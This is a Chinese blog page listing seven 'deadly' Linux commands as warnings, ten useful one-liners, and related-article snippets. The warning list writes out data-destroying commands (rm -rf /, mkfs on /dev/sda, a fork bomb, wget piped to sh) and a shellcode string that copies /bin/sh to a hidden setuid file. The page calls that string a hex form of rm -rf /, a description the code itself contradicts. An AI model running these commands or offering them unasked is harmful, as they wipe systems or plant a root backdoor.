———————————————特别的Linux命令——————————————
一、 七个致命的Linux命令
1.rm -rf / 此命令将递归并强制删除 / 目录下的所有文件。
2.char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。
3.mkfs.ext3 /dev/sda 这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。
4.:(){ :|:& };: 著名的 fork bomp,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。
5.any_command > /dev/sda 使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。
6.wget http://some_untrusted_source -O- | sh 不要从不信任的地方下载东西,这可能会获取恶意代码。
7.mv /home/yourhomedirectory/* /dev/null 此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。
二、 十个最酷的Linux单行命令
1.sudo !!
以 root 帐户执行上一条命令。
2.python -m SimpleHTTPServer
利用 Python 搭建一个简单的 Web 服务器,可通过 http://$HOSTNAME:8000 访问。
3.:w !sudo tee %
在 Vim 中无需权限保存编辑的文件。
4.cd -
更改到上一次访问的目录。
5.^foo^bar
将上一条命令中的 foo 替换为 bar,并执行。
6.cp filename{,.bak}
快速备份或复制文件。
7.mtr google.com
traceroute + ping。
8.!whatever:p
搜索命令历史,但不执行。
9.$ssh-copy-id user@host
将 ssh keys 复制到 user@host 以启用无密码 SSH 登录。
10.ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg
把 Linux 桌面录制为视频。
分享到:
相关推荐
"Linux常用文件命令" Linux操作系统中,文件命令是非常重要的一部分,掌握这些命令可以更好地操作和管理文件系统。本节将详细介绍Linux常用的文件命令,包括文件系统结构、文件类型、目录操作、文件操作等方面。 ...
在Linux系统中,管理和操作数据库是一项常见的任务,特别是在服务器环境中。本文将深入探讨如何在Linux上启动数据库服务,以及与RAR文件相关的知识。 首先,让我们关注"Linux开启数据库命令"这个主题。在Linux中,...
在Linux操作系统中,掌握一些常用命令是至关重要的,特别是对于初学者或正在学习Linux的同学。本文将主要聚焦于“vi”命令,一个强大的文本编辑器,以及与之相关的其他Linux命令。 **一、vi编辑器** vi(Visual ...
在Linux操作系统中,掌握一些基本的命令行工具是至关重要的,特别是对于网络配置而言。"Linux网络配置之IP命令手册"就是这样一个资源,它详细介绍了Linux中的IP命令,这是一个强大的工具,用于管理网络接口和配置...
这些服务在Linux系统中扮演了重要的角色,特别是在服务器管理方面。 通过丰富的例子和详尽的解释,作者力图帮助读者不仅学会使用这些命令,还能深入理解它们的内在机制和工作原理。此外,书籍也会简要介绍Linux的...
本文将详细介绍如何使用Linux命令来打开、查看和处理文件,特别是关注“打开文件”的命令。Linux提供了一系列的文本编辑器和查看器,使得用户能够轻松地与文件进行交互。下面,我们将探讨一些常用的Linux命令。 1. ...
在Linux中,我们可以通过一些命令来管理和观察调度行为: 1. `ps` 和 `top`:这两个命令用于查看正在运行的进程及其状态,包括CPU和内存使用情况,这对于理解调度决策很有帮助。 2. `nice` 和 `renice`:`nice`...
通过学习这些基本的Linux命令和Shell操作,初学者可以更快地熟悉Linux环境,并能有效地管理和操作Linux系统。此外,掌握这些技能还有助于提升在开发、运维以及其他与Linux相关的领域的专业能力。
了解和掌握Linux命令是每个IT从业者,特别是系统管理员和开发者的基础技能。以下是一些常用的Linux命令及其详细解释: 1. **`history`** 命令:用于显示用户在命令行模式下执行过的最近1000个命令的历史记录。这有...
在Linux系统中,数据压缩与解压缩是日常管理和操作中不可或缺的一部分,特别是在处理大量文件或进行备份时。本文将深入探讨“zip”和“unzip”命令,这两个强大的工具能够帮助用户高效地压缩和解压缩文件及目录。 #...
最后,对于一些二进制可执行文件,特别是跨平台的软件,通常需要赋予执行权限(使用chmod命令)并直接执行。例如,文档中提到了RealONE Player的Linux版本,执行`chmod +x`赋予执行权限后,可以使用`./`命令来启动...
- 使用`at`命令时,应仔细考虑命令的副作用,特别是在涉及系统关键操作的情况下。 - 如果需要定期执行某些任务,建议使用`cron`任务调度器。 #### 七、总结 通过本文的介绍,我们了解了`at`命令的基本概念、语法...
"Linux常用命令全集.zip"这个压缩包很可能包含了全面的Linux命令参考资料,特别是以.CHM(Microsoft帮助文件)格式的文档,这通常是一个方便的离线手册,用户可以从中查询各种Linux命令的用法和示例。 Linux命令是...
5. 在实际应用中,LVM广泛用于服务器环境,特别是在需要灵活管理和高效利用存储资源的场合。例如,当系统需要扩大或缩小磁盘空间,或者进行数据迁移时,LVM提供了方便快捷的解决方案,而无需停机或重新部署。 总结...
4. 全局变量:称为子shell,shell中创建的变量局部于创建它的shell,除非使用export命令特别指出是全局的 5. 环境变量:环境变量是shell中的一些预定义的变量,例如HOME、PATH、PS1、PS2、LOGNAME、SHLVL、SHELL等 ...
本章将深入讲解Linux的基础知识,特别是常用的命令,包括文件和目录的操作,以及系统信息查询。 一、Linux命令基础 Linux命令是用户与操作系统进行交互的主要方式。命令通常由命令名、选项和参数组成。例如,`ls`...
Linux是开源的操作系统,以其稳定性和灵活性而受到广泛使用,特别是在服务器领域。了解并熟练使用Linux的命令行是每一个IT专业人员的必备技能。本文主要介绍Linux的常用命令及其使用方式,包括文件及目录操作、文件...
该命令对于用户确定自己当前所处的目录位置非常有帮助,特别是在进行复杂的目录切换操作后。 5. mkdir命令 mkdir命令用于创建新的目录。它是Linux系统中进行目录结构规划时的重要操作。通过mkdir命令,管理员可以...